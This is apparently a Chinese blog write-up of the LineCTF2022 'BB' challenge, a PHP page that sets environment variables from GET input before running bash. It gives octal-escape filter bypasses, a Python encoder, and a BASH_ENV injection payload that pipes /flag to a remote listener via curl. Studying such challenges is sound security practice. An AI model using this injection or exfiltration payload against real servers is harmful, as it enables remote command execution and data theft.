[LineCTF2022]BB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0);
function bye($s, $ptn){ if(preg_match($ptn, $s)){ return false; } return true; }
foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { putenv("{$k}={$v}"); } } system("bash -c 'imdude'"); foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i")) { putenv("{$k}"); } } highlight_file(__FILE__); ?>
|
用八进制可以进行绕过:
ord 字符转对应的ascii
oct 十进制转八进制
1 2
| $'\143\141\164\40\57\146\154\141\147' ---cat flag $'\143\141\164' /$'\146\154\141\147' ----cat /flag
|
环境变量注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import string
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001" str = '' for i in cmd: if i in string.ascii_lowercase: j = oct(ord(i))[2:] str += "$'\\"+j+"'" else: str+=i
print(str)
|
服务器监听:
GET传参:
1
| ?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`
|
0x为16进制数字的表示
\x为16进制的字符串表示
\ 为八进制的表示
50是2的ascii码对应值
0x32是十六进制表示,转为十进制就是50
\x32表示50对应的字符串,也就是”2”
参考链接:https://blog.csdn.net/RABCDXB/article/details/125351004
Author:
odiws
Permalink:
http://odiws.github.io/2024/12/01/LineCTF2022-BB/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?